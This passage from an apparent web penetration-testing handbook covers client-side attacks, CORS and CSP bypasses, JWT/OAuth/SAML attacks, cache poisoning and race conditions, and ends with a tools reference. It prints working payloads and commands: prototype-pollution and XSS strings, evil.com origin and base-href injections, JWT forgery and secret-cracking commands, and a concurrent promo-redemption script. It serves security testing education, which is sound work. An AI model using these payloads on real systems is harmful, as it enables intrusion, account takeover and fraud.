• **Trust boundary violations** — Assume data from one process step is validated because an earlier step checked it. Skip the earlier step.

15.2 Testing Methodology

• Map every workflow end-to-end: registration, login, purchase, password reset, profile management.

• For each step: can it be skipped? Can parameters be manipulated? What happens with unexpected values?

• Test boundary conditions: maximum values, minimum values, zero, negative, very large numbers.

• Test concurrency: what happens when two requests arrive simultaneously?

• Test across user roles: can a lower-privilege user trigger higher-privilege workflows?

Chapter 16: Client-Side Attacks

16.1 DOM-Based Vulnerabilities

DOM-based vulnerabilities occur entirely in the browser when client-side JavaScript reads data from an attacker-controllable source (URL fragment, document.referrer, postMessage) and passes it to a dangerous sink (innerHTML, eval, document.write, location.href).

Source	Sink	Vulnerability
location.hash	innerHTML	DOM XSS
location.search	eval()	DOM XSS / Code injection
document.referrer	location.href	Open redirect
postMessage data	innerHTML / eval	DOM XSS via postMessage
Web Storage	innerHTML	DOM XSS via stored payload

16.2 Prototype Pollution

JavaScript’s prototype chain allows modifying Object.prototype, which affects all objects. If user input flows into object property assignment (deep merge, lodash.merge, query parameter parsing), attacker-controlled properties on Object.prototype persist globally.

```
# Server-side prototype pollution
POST /api/config
{"__proto__":{"isAdmin":true}}

# Client-side (via URL)
https://target.com?__proto__[innerHTML]=<img/src/onerror=alert(1)>
```

16.3 Clickjacking

Load the target application in a transparent iframe overlaid on an attacker-controlled page. The victim thinks they’re clicking on the attacker’s content but actually clicks on the hidden iframe, performing actions on the target site.

Mitigated by X-Frame-Options (DENY/SAMEORIGIN) and CSP frame-ancestors directive. Test by attempting to iframe the target. If no framing protection, any authenticated action can be clickjacked.

16.4 CORS Misconfiguration

Cross-Origin Resource Sharing (CORS) controls which origins can read responses from cross-origin requests. Misconfigurations allow attacker-controlled origins to read sensitive data from authenticated API endpoints.

• **Reflected Origin** — Server sets Access-Control-Allow-Origin to whatever Origin header is sent. Any site can read responses.

• **Null origin allowed** — Access-Control-Allow-Origin: null. Exploitable via sandboxed iframes (iframe with sandbox attribute sends Origin: null).

• **Subdomain wildcard** — Trusts *.target.com. XSS on any subdomain = full CORS bypass.

• **Pre-flight bypass** — Simple requests (GET/POST with standard Content-Types) skip preflight. Some CORS checks only validate preflight, not the actual request.

• **Credentials with wildcard** — Access-Control-Allow-Credentials: true with reflected origin = full account data theft via cross-origin JavaScript.

```
# Test CORS: send request with attacker origin
curl -H 'Origin: https://evil.com' -I https://target.com/api/user
# Check: Access-Control-Allow-Origin: https://evil.com
# Check: Access-Control-Allow-Credentials: true
```

16.5 CSP Bypass Techniques

Content Security Policy restricts script sources, but misconfigurations or overly permissive policies create bypass opportunities.

• **unsafe-inline** — Allows inline scripts. CSP is effectively bypassed for XSS.

• **unsafe-eval** — Allows eval(), setTimeout(string), new Function(). Enables XSS via these sinks.

• **Wildcard or broad domain** — script-src *.googleapis.com allows loading JSONP endpoints or Angular libraries that enable script execution.

• **JSONP endpoints** — Whitelisted domains hosting JSONP = arbitrary JS execution via callback parameter.

• **base-uri missing** — Inject <base href='https://evil.com'> to redirect relative script loads to attacker server.

• **Dangling markup injection** — When CSP blocks scripts, inject unclosed tags to exfiltrate page content via img/form action to attacker.

• **script-src with nonce/hash leak** — If nonce is predictable or reused, or if page reflects the nonce value, CSP is defeated.

Chapter 17: Modern Framework Exploits (JWT, OAuth, SAML)

17.1 JWT Attacks

Attack	Description	Payload
None algorithm	Set alg to "none", remove signature	{"alg":"none"}.payload.
Algorithm confusion	Change RS256 to HS256, sign with public key as HMAC secret	Server verifies HMAC using public key
Key injection (jwk/jku)	Embed attacker's key in JWT header	{"jwk":{"kty":"RSA",...attacker key}}
kid injection	Path traversal or SQLi in kid header	{"kid":"../../dev/null","alg":"HS256"}
Weak secret	Brute-force HMAC secret	hashcat -m 16500 jwt.txt wordlist.txt
Token replay	Reuse expired or revoked tokens	If no exp check or no revocation list

```
# jwt_tool - comprehensive JWT testing
python3 jwt_tool.py TOKEN -X a # All attacks
python3 jwt_tool.py TOKEN -X n # None algorithm
python3 jwt_tool.py TOKEN -X k # Key confusion

# Crack JWT secret
hashcat -m 16500 jwt.txt wordlist.txt --force
```

17.2 OAuth 2.0 Attacks

• **Authorization code theft** — Open redirect on redirect_uri leaks authorization code via Referer header.

• **redirect_uri manipulation** — Subdirectory bypass: /callback/../attacker-page. Parameter injection: /callback?evil=http://attacker.com. Exact match vs. pattern match differences.

• **CSRF on OAuth flow** — Missing state parameter allows attacker to link victim's account to attacker's OAuth identity.

• **Token leakage** — Implicit flow exposes access_token in URL fragment. If page loads external resources, token leaks via Referer.

• **Scope escalation** — Request broader scopes than approved. Test if scope parameter is validated server-side.

• **PKCE bypass** — If code_verifier is not required or not validated, PKCE protection is defeated.

17.3 SAML Attacks

• **Signature wrapping** — Move the signed assertion and add a forged assertion that the application processes instead.

• **XXE in SAML** — SAML assertions are XML. Inject XXE entities in SAML requests/responses.

• **Comment injection** — Inject XML comments into NameID to bypass identity checks: admin<!-->@evil.com becomes admin when comment is stripped.

- **Signature exclusion** — Remove signature entirely. Some implementations don’t require signed assertions.
- **Replay attacks** — Reuse valid SAML assertions if no NotOnOrAfter validation or nonce checking.

Chapter 18: Web Cache Poisoning & Host Header Attacks

18.1 Web Cache Poisoning

Manipulate unkeyed inputs (headers, cookies, parameters not included in the cache key) to inject malicious content into cached responses. When the poisoned response is cached, all subsequent users receive the attacker's content.

• **Unkeyed headers** — X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, X-Rewrite-URL reflected in response but not in cache key.

• **Fat GET requests** — Send a GET request with a body. Some frameworks process the body but caches key only on URL.

• **Parameter cloaking** — Different URL parsers disagree on parameter delimiters (;, &). Inject unkeyed parameters.

• **Cache key normalization** — Exploit differences between how the cache and the origin server normalize URLs, paths, and query strings.

18.2 Host Header Attacks

• **Password reset poisoning** — Modify Host header to attacker domain. Reset link in email uses attacker's domain. Victim clicks, token sent to attacker.

• **Web cache poisoning via Host** — If Host header is reflected in responses and not part of cache key.

• **Virtual host routing** — Access internal virtual hosts by setting Host header to internal hostnames.

• **SSRF via Host** — Some applications use Host header for internal routing. Inject internal hostnames.

Chapter 19: Race Conditions & TOCTOU in Web Apps

19.1 Theory

Race conditions occur when an application's behavior depends on the sequence/timing of events that can be manipulated. Time-of-Check to Time-of-Use (TOCTOU) flaws exist when the application checks a condition (e.g., sufficient balance) and then performs an action (e.g., deduction) as separate, non-atomic operations. Concurrent requests between check and use can bypass the check.

19.2 Common Targets

• **Balance/inventory** — Purchase an item multiple times with insufficient balance by sending concurrent requests.

• **Coupon/promo codes** — Apply a single-use coupon multiple times via concurrent requests.

• **Follow/like/vote** — Bypass once-per-user restrictions.

• **Account registration** — Create duplicate accounts with the same email.

• **File upload + processing** — Upload a file and access it before validation/deletion completes.

• **Invite/referral** — Accept the same invite multiple times for bonus stacking.

19.3 Exploitation

```
# Turbo Intruder (Burp) - single-packet attack for true parallel requests
# Sends multiple requests in a single TCP packet for sub-millisecond timing

# Python example with threading
import threading, requests
def race():
requests.post('https://target.com/api/redeem', json={'code':'PROMO'}, cookies=session)
threads = [threading.Thread(target=race) for _ in range(20)]
[t.start() for t in threads]
[t.join() for t in threads]
```

Operator Tip: Burp's single-packet attack (via Turbo Intruder or Repeater group send) is the most reliable method. It sends all requests in a single TCP packet, ensuring the server processes them truly concurrently. HTTP/2 multiplexing makes this even more effective.

Chapter 20: Tool Reference Matrix

20.1 Web Application Testing Tools

Tool	Category	Primary Use
Burp Suite Pro	Proxy/Scanner	Intercepting proxy, active/passive scanning, Repeater, Intruder, extensions ecosystem. Industry standard.
Caido	Proxy/Scanner	Modern Burp alternative. Rust-based, faster, native HTTPQL filtering, built-in automation workflows. Growing adoption.
ffuf	Fuzzing	Fast content discovery, parameter fuzzing, vhost enumeration, recursive scanning
feroxbuster	Content Discovery	Recursive directory brute-force with smart filtering
sqlmap	SQLi	Automated SQL injection detection and exploitation, --tamper for WAF bypass
Nuclei	Scanner	Template-based vulnerability scanning, community templates, CI/CD integration
tplmap	SSTI	Automated SSTI detection and exploitation across multiple engines
jwt_tool	JWT	JWT manipulation, algorithm attacks, claim tampering, key brute-force
Arjun	Param Discovery	Hidden parameter discovery via brute-force across GET/POST/JSON
Kiterunner	API Discovery	API-aware content discovery using compiled route wordlists
Nikto	Scanner	Web server misconfiguration and known vulnerability scanning
WPScan	CMS	WordPress vulnerability scanning: plugins, themes, users, config
Amass / Subfinder	Recon	Subdomain enumeration via passive and active techniques
httpx	Probing	HTTP probe tool for live host detection, tech fingerprinting, status codes
Turbo Intruder	Burp Extension	High-speed request sending, race condition exploitation, single-packet attack
NoSQLMap / nosqli	NoSQLi	MongoDB/CouchDB injection detection and exploitation

20.2 Payload Resources

Resource	Contents
PayloadsAllTheThings	Comprehensive payload lists for every web vulnerability class
SecLists	Wordlists for discovery, fuzzing, credentials, and payloads
HackTricks	Methodology guides and cheat sheets for web and infrastructure
OWASP Testing Guide	Structured methodology for web application security testing
PortSwigger Web Academy	Free labs and detailed explanations for every web vulnerability

20.3 Quick Reference: Status Codes for Pentesters

Code	Meaning	Pentest Relevance
200	OK	Successful access (check if it should be 403)
301/302	Redirect	Follow to find real endpoint. Check for open redirect.
403	Forbidden	Try bypass: path normalization, method change, header injection, IP spoof
405	Method Not Allowed	Try other methods: PUT, DELETE, PATCH, OPTIONS
500	Internal Server Error	Likely triggered a bug — investigate for injection or deserialization
502/503	Bad Gateway / Unavailable	Backend may be processing — check for smuggling or SSRF